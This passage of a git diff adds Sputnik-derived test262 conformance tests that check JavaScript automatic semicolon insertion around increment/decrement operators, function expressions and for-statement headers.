+ * @description Try use Throw \n Expression construction
+ * @negative
+ */
+
+//CHECK#1
+try {
+ throw
+ 1;
+} catch(e) {
+}
+$ERROR('#1: Check throw statement for automatic semicolon insertion');
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.1_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.1_T1.js
new file mode 100644
index 000000000..b0c69d298
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.1_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Postfix Increment Operator for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.1_T1.js
+ * @description Try use Variable \n ++ construction
+ * @negative
+ */
+
+//CHECK#1
+var x = 0;
+x
+++;
+$ERROR('#1: Check Postfix Increment Operator for automatic semicolon insertion');
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.2_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.2_T1.js
new file mode 100644
index 000000000..24fcf4e7c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.2_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Prefix Increment Operator for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.2_T1.js
+ * @description Try use Variable1 \n ++Variable2 construction
+ */
+
+//CHECK#1
+var x = 0;
+var y = 0;
+x
+++y
+if (x !== 0) {
+ $ERROR('#1: Check Prefix Increment Operator for automatic semicolon insertion');
+} else {
+ if (y !== 1) {
+ $ERROR('#2: Check Prefix Increment Operator for automatic semicolon insertion');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.3_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.3_T1.js
new file mode 100644
index 000000000..283e73879
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.3_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Postfix Decrement Operator for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.3_T1.js
+ * @description Try use Variable \n -- construction
+ * @negative
+ */
+
+//CHECK#1
+var x = 1;
+x
+--;
+$ERROR('#1: Check Postfix Decrement Operator for automatic semicolon insertion');
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.4_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.4_T1.js
new file mode 100644
index 000000000..6d58c1f69
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Prefix Decrement Operator for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.4_T1.js
+ * @description Try use Variable1 \n --Variable2 construction
+ */
+
+//CHECK#1
+var x = 1;
+var y = 1;
+x
+--y
+if (x !== 1) {
+ $ERROR('#1: Check Prefix Decrement Operator for automatic semicolon insertion');
+} else {
+ if (y !== 0) {
+ $ERROR('#1: Check Prefix Decrement Operator for automatic semicolon insertion');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T1.js
new file mode 100644
index 000000000..872803b60
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Function Expression for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.5_T1.js
+ * @description Try use 1 + function_name\n(2 + 3) construction
+ */
+
+//CHECK#1
+function f(t) {
+ return t;
+}
+var x = 1 + f
+(2 + 3)
+if (x !== 6) {
+ $ERROR('#1: Check Function Expression for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T2.js
new file mode 100644
index 000000000..be29e1dca
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Function Expression for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.5_T2.js
+ * @description Try use function f(o) {o.x = 1; return o;}; \n (new Object()).x; construction
+ */
+
+//CHECK#1
+var result = function f(o) {o.x = 1; return o;};
+(new Object()).x;
+if (typeof result !== "function") {
+ $ERROR('#1: Check Function Expression for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T3.js
new file mode 100644
index 000000000..e3dc89b38
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T3.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Function Expression for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.5_T3.js
+ * @description Try use function f(o) {o.x = 1; return o;} \n (new Object()).x; construction
+ */
+
+//CHECK#1
+var result = function f(o) {o.x = 1; return o;}
+(new Object()).x;
+if (result !== 1) {
+ $ERROR('#1: Check Function Expression for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T4.js
new file mode 100644
index 000000000..a005f1109
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T4.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Function Expression for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.5_T4.js
+ * @description Insert some LineTerminators into function body
+ */
+
+//CHECK#1
+var x =
+1 + (function (t){return {a:t
+}
+})
+(2 + 3).
+a
+
+if (x !== 6) {
+ $ERROR('#1: Check Function Expression for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T5.js
new file mode 100644
index 000000000..1c1942d73
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.5_T5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Function Expression for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A5.5_T5.js
+ * @description Insert some LineTerminators into rerutn expression;
+ */
+
+//CHECK#1
+var x =
+1 + (function f
+(t){
+return {
+a:
+function(){
+return t + 1
+}
+}
+}
+)
+(2 + 3).
+a
+()
+
+if (x !== 7) {
+ $ERROR('#1: Check Function Expression for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T1.js
new file mode 100644
index 000000000..3381c5187
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator between Postfix Increment/Decrement Operator(I/DO) and operand is not allowed but
+ * between Prefix I/DO and operand admitted, Postfix I/DO in combination with prefix I/DO after automatic semicolon insertion gives valid result
+ *
+ * @path ch07/7.9/S7.9_A5.6_T1.js
+ * @description Try use Variable1 \n ++ \n Variable2 construction
+ */
+
+var x=0, y=0;
+
+x
+++
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==0)&(y!==1)) {
+ $ERROR('#1: Check Postfix Increment Operator for automatic semicolon insertion');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+x
+++y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if ((x!==0)&(y!==2)) {
+ $ERROR('#2: Check Postfix Increment Operator for automatic semicolon insertion');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T2.js
new file mode 100644
index 000000000..6861e96e5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.6_T2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator between Postfix Increment/Decrement Operator(I/DO) and operand is not allowed but
+ * between Prefix I/DO and operand admitted, Postfix I/DO in combination with prefix I/DO after automatic semicolon insertion gives valid result
+ *
+ * @path ch07/7.9/S7.9_A5.6_T2.js
+ * @description Try use Variable1 \n -- \n Variable2 construction
+ */
+
+var x=0, y=2;
+
+x
+--
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==0)&(y!==1)) {
+ $ERROR('#1: Check Postfix Increment Operator for automatic semicolon insertion');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+x
+--y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if ((x!==0)&(y!==0)) {
+ $ERROR('#2: Check Postfix Increment Operator for automatic semicolon insertion');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.7_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.7_T1.js
new file mode 100644
index 000000000..696ba3c32
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.7_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator(LT) between Postfix Increment/Decrement Operator(I/DO) and operand is not allowed, two IO(just as two DO and their combination)
+ * between two references separated by [LT] after automatic semicolon insertion lead to syntax error
+ *
+ * @path ch07/7.9/S7.9_A5.7_T1.js
+ * @description Try use Variable1 \n ++ \n ++ \n Variable2 construction
+ * @negative
+ */
+
+var x=0, y=0;
+var z=
+x
+++
+++
+y
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.8_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.8_T1.js
new file mode 100644
index 000000000..9f3b7a75d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.8_T1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator(LT) between Postfix Increment/Decrement Operator(I/DO) and operand is admitted,
+ * Additive/Substract Operator(A/SO) in combination with I/DO separated by LT or white spaces after automatic semicolon insertion gives valid result
+ *
+ * @path ch07/7.9/S7.9_A5.8_T1.js
+ * @description Try use Variable1 \n + \n ++ \n Variable2 construction
+ */
+
+var x=0, y=0;
+var z=
+x
++
+++
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((z!==1)&&(y!==1)&&(x!==0)) {
+ $ERROR('#1: ');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+z=
+x
++ ++
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if ((z!==2)&&(y!==2)&&(x!==0)) {
+ $ERROR('');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+z=
+x
++ ++
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if ((z!==3)&&(y!==3)&&(x!==0)) {
+ $ERROR('');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A5.9_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A5.9_T1.js
new file mode 100644
index 000000000..98f47ab9a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A5.9_T1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Additive/Substract Operator(A/SO) in combination with itself separated by LT or white spaces
+ * after automatic semicolon insertion gives valid result
+ *
+ * @path ch07/7.9/S7.9_A5.9_T1.js
+ * @description Try use Variable1 (different combinations of three +) Variable2 construction
+ */
+
+var x=1, y=1;
+var z=
+x
++
++
++
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((z!==2)&&(y!==1)&&(x!==1)) {
+ $ERROR('#1: ');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+z=
+x + + + y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if ((z!==2)&&(y!==1)&&(x!==1)) {
+ $ERROR('');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+z=
+x
++ +
++ +
+y
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if ((z!==2)&&(y!==1)&&(x!==1)) {
+ $ERROR('');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T1.js
new file mode 100644
index 000000000..65bc94985
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T1.js
+ * @description for( Empty two semicolons and \n)
+ */
+
+//CHECK#1
+for(;;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T10.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T10.js
new file mode 100644
index 000000000..973ac4fe9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T10.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T10.js
+ * @description for (false \n two semicolons false \n)
+ */
+
+//CHECK#1
+for(false
+ ;;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T11.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T11.js
new file mode 100644
index 000000000..27da10fff
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T11.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T11.js
+ * @description for (false \n semicolon \n semicolon \n)
+ */
+
+//CHECK#1
+for(false
+ ;
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T12.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T12.js
new file mode 100644
index 000000000..b78791194
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T12.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T12.js
+ * @description for (false \n semicolon false \n semicolon \n)
+ */
+
+//CHECK#1
+for(false
+ ;false
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T13.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T13.js
new file mode 100644
index 000000000..1762f3182
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T13.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T13.js
+ * @description for (false \n semicolon false \n semicolon false \n)
+ */
+
+//CHECK#1
+for(false
+ ;false
+ ;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T2.js
new file mode 100644
index 000000000..ef2ac4e46
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T2.js
+ * @description for (semicolon \n semicolon \n)
+ */
+
+//CHECK#1
+for(;
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T3.js
new file mode 100644
index 000000000..71ee0b4d5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T3.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T3.js
+ * @description for (\n two semicolons \n)
+ */
+
+//CHECK#1
+for(
+ ;;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T4.js
new file mode 100644
index 000000000..8055a790a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T4.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T4.js
+ * @description for( \n semicolon \n semicolon \n)
+ */
+
+//CHECK#1
+for(
+ ;
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T5.js
new file mode 100644
index 000000000..ce5e585dc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T5.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T5.js
+ * @description for ( \n semicolon \n\n semicolon \n)
+ */
+
+//CHECK#1
+for(
+ ;
+
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T6.js
new file mode 100644
index 000000000..578b88fbe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T6.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T6.js
+ * @description for(false semicolon false semicolon false \n)
+ */
+
+//CHECK#1
+for(false;false;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T7.js
new file mode 100644
index 000000000..ce53a6f9e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T7.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T7.js
+ * @description for (false semicolon false \n semicolon \n)
+ */
+
+//CHECK#1
+for(false;false
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T8.js
new file mode 100644
index 000000000..fca8ddc80
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T8.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T8.js
+ * @description for (false semicolon false \n semicolon false \n)
+ */
+
+//CHECK#1
+for(false;false
+ ;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T9.js
new file mode 100644
index 000000000..977b90b9e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.1_T9.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A6.1_T9.js
+ * @description for (false \n two semicolons \n)
+ */
+
+//CHECK#1
+for(false
+ ;;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T1.js
new file mode 100644
index 000000000..e3461b907
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T1.js
+ * @description For header is (semicolon \n)
+ * @negative
+ */
+
+//CHECK#1
+for(;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T10.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T10.js
new file mode 100644
index 000000000..1e65032ca
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T10.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T10.js
+ * @description For header is (\n false \n semicolon)
+ * @negative
+ */
+
+//CHECK#1
+for(
+ false
+;) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T2.js
new file mode 100644
index 000000000..bbe5fb83c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T2.js
+ * @description For header is (\n semicolon \n)
+ * @negative
+ */
+
+//CHECK#1
+for(
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T3.js
new file mode 100644
index 000000000..0dfd55125
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T3.js
+ * @description For header is (\n semicolon)
+ * @negative
+ */
+
+//CHECK#1
+for(
+;) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T4.js
new file mode 100644
index 000000000..d64278972
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T4.js
+ * @description For header is (\n \n semicolon)
+ * @negative
+ */
+
+//CHECK#1
+for(
+
+;) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T5.js
new file mode 100644
index 000000000..de9ed973b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T5.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T5.js
+ * @description For header is (false semicolon false\n)
+ * @negative
+ */
+
+//CHECK#1
+for(false;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T6.js
new file mode 100644
index 000000000..1efe468d2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T6.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T6.js
+ * @description For header is (false semicolon \n false)
+ * @negative
+ */
+
+//CHECK#1
+for(false;
+false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T7.js
new file mode 100644
index 000000000..5050697ac
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T7.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T7.js
+ * @description For header is (false \n semicolon \n)
+ * @negative
+ */
+
+//CHECK#1
+for(false
+ ;
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T8.js
new file mode 100644
index 000000000..526809c86
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T8.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T8.js
+ * @description For header is (false \n semicolon false \n)
+ * @negative
+ */
+
+//CHECK#1
+for(false
+ ;false
+) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T9.js
new file mode 100644
index 000000000..21e635ad0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A6.2_T9.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check For Statement for automatic semicolon insertion.
+ * If automatic insertion semicolon would become one of the two semicolons in the header of a For Statement.
+ * Use one semicolon
+ *
+ * @path ch07/7.9/S7.9_A6.2_T9.js
+ * @description For header is (\n semicolon false)
+ * @negative
+ */
+
+//CHECK#1
+for(
+;false) {
+ break;
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A6.3_T1.js
new file mode 100644
